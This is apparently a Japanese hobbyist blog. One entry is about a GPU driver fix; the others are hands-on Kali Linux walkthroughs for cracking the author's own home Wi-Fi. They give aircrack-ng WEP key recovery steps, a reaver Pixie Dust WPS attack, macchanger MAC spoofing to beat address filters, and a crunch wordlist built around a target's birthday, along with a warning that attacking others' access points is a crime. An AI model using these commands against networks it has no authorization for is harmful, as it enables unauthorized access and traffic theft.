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AMD Radeon HD 6310 GraphicsでIE11の動画視聴に支障があってGPUレンダリングの使用を除外していたがせっかくなのでGPUレンダリングでHD再生したいといろいろ模索していたここにきてwindowsアップデートで改善されたようだ更新プログラムの確認をしたところAMDドライバの更新があった ↑ 更新されたyoutube再生とドライババージョン ↓HDのまま異常なく再生しとる ドライバのバージョンは15.201.1151.0確か更新前は15.1だったような気がする・・ありがたい・・動画再生しながら他の作業に支障がないけどwindows10はまだ時期尚早だったかなぁ
2015年10月22日
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kalilinuxにてキーハックの書き忘れがあったので書き足し先回の記事でWPAの解析は現実的ではないと書いたがkalilinux2ではreaver+pixiedustアタックが効く場合があるブルートフォースアタック → 順番総当たり攻撃辞書アタック → あらかじめ用意したワードLISTのファイルからマッチするキーを探す攻撃pixiedust(ダストアタック)→ ルーターの脆弱性を利用した攻撃これもブルートフォースアタックになるようだがRalink社とBroadecom社のチップセットを使ってるルーターは乱数に偏りがあるようで1回の攻撃の時に得られたデータから逆算して正しいPINコードwepキーを復元する方法だそうな結局この2社のチップセットを使ってるルーターにしか効かないが、一応書いておく前記事でモニターmodeになったらreaver -i wlan0mon -b **:**:**:**:**:** -vv -c (*) -K 1 * -b (bssid) -c (channel) ちなみに我が家のNECルーターはエラー返してくるWARNING: Detected AP rate limiting, waiting 60 seconds before re-checkingまぁ元々キーの連続認証は受け付けんと言う事ですな・・60秒待てとこれはそもそもブルートフォース出来んつーことで終了ですreaverで60秒のディレイも入れれるが1分毎に認証確認などはやっぱり現実的ではなくやめたほうがいい 後オマケMACアドレス偽装方法ifconfig wlan0 down# macchanger -r wlan0 (この場合のランダム)Permanent MAC: ~ ()Current MAC: ~ ()ifconfig downで無線lanカードの接続を切っておくmacchangerでMACアドレスを変更-r random (ランダムでMACアドレス生成)-p priset (変更したMACアドレスを固有のものに戻す)変更したら ifconfig wlan0 up にて使用可能にする不正アクセスを防ぐ方法としてMACアドレスフィルターもあるが何らかの方法でMACアドレスが入手されればこのコマンドで任意のMACに変更できるのでフィルターも効果なしってことですなぁ オマケ2クランチによるワードリストの作成方法 crunchcrunch <min> max<max> <characterset> -t <pattern> -o <output filename>min = The minimum password length.max = The maximum password length.characterset = The character set to be used in generating the passwords.-t <pattern> = The specified pattern of the generated passwords. For instance, if you knew that the target's birthday was 0728 (July 28th) and you suspected they used their birthday in their password (people often do), you could generate a password list that ended with 0728 by giving crunch the pattern @@@@@@@0728. This word generate passwords up to 11 characters (7 variable and 4 fixed) long that all ended with 0728.-o <outputfile> = This is the file you want your wordlist written to.0~9とA~Zを使った13桁のワードリストcrunch 13 13 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ -o /root/desktop/wordlist.lstでいけるかな(これ膨大な量になるので注意)-t オプションの要約は例えばターゲットが誕生日7月28日だとするとそれを含むパスワードを作りがちそれがわかっていた場合パターンに0728を付けることで解析を容易にしようと言うオプションalpha-numericとかって使えるんかなぁ・・知らんが書いてあるまぁ、かじったくらいではハッカーにはなれんよね
2015年10月12日
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皆さんはペネトレーションテストという言葉ご存知でしょうか?要するに ”必要悪”とでも言いましょうか・・IT用語辞典によりますとペネトレーションテストとは、コンピュータやネットワークのセキュリティ上の弱点を発見するテスト手法の一つで、システムを実際に攻撃して侵入を試みる手法。だそうです。さて、私がこの言葉を知ったのがwi-fiのただ乗りで逮捕者が出たとかで「ほぅ、そんな事が出来るのか」と実際自宅のWi-Fiの暗号化キーをいとも簡単に解析できたので日記がてら、覚えとして記録使うのはkaliLinux ↑デスクトップ画面何とも怪しい( ̄m ̄〃)ぷぷっ!これの前身であるBackTruckでもWi-Fiキーの解析とかできたんですねぇペネトレーションテスト前提に作られたディストリビューション怪しげなソフトがてんこ盛りですわw以下手順(wepのみ) 1 iwconfig (無線lanカードの状態確認) 2 airmon-ng start wlan0 3 kill 1232 (3~5はairmon-ngをスタートすると、これらを止めた方が吉と言ってくる) 4 kill 1359 5 kill1621 (ので一応killしておく) 7 iwconfig(無線lanカードの状態確認 wlan0monが出来ているか) 8 iwconfig wlan0mon mode monitor (wlan0monをモニターmodeに) 9 iwconfig (ここでwlan0monがmonitorになっていなければ無線lanカードが対応していないので諦める) 10 airodump-ng wlan0mon (周辺の無線APを拾ってくる)間違ってもよそ様のお宅の無線APをターゲットにしないように・・犯罪になりますよここでターゲットになるAPが出てきたらctrl+cで端末の実行を止めてbssidとチャンネルを記録 11 airodump-ng -c (チャンネル) --bssid **:**:**:**:**:** -w /root/Desktop/ wlan0monここでデスクトップにキャプチャファイルが出来るこのファイルは送受信のデータを集めるのでターゲットがwepにて送受信している必要があるデータが集まるまで待たなければいけない。今回はRead 112547 packetsで始めて見たデータが集まったら新たに端末を開き aircrack-ng '/root/Desktop/-01.cap' 先程デスクトップに作ったファイルを指定後は勝手にwepキーを解析してくれる成功すれば KEY FOUND! (ASCII: ~ )とキーを表示してくれる・・はず ↑キー出ましたもう簡単すぎてビックリです、数秒で解析終わりましたとさ。ちなみに私は情弱でしたので納戸PCをwep接続しておりました(´;ω;`)誰かにタダ乗りされてないか確認してみないといけないなぁ。。これを機に全てwpa接続に変更しましたが・・wpa接続も解析できます。ただ現実的ではありません。我が家の無線lanルーター、NECのWARPSTARなんですがアタックかけるとロックします。reaverでのブルートフォース攻撃や辞書攻撃も莫大な時間が掛かると思われます。暗号化キーは0~9とA~Zで13桁の組み合わせ、36の13乗なのかな?けどまぁ。。イタチごっこですわなぁそのうちおぉ・・って言うソフトが開発されるんでしょう・・ お宅のWi-Fi接続はwpaですか?wep接続はダメですよ~では。
2015年10月09日
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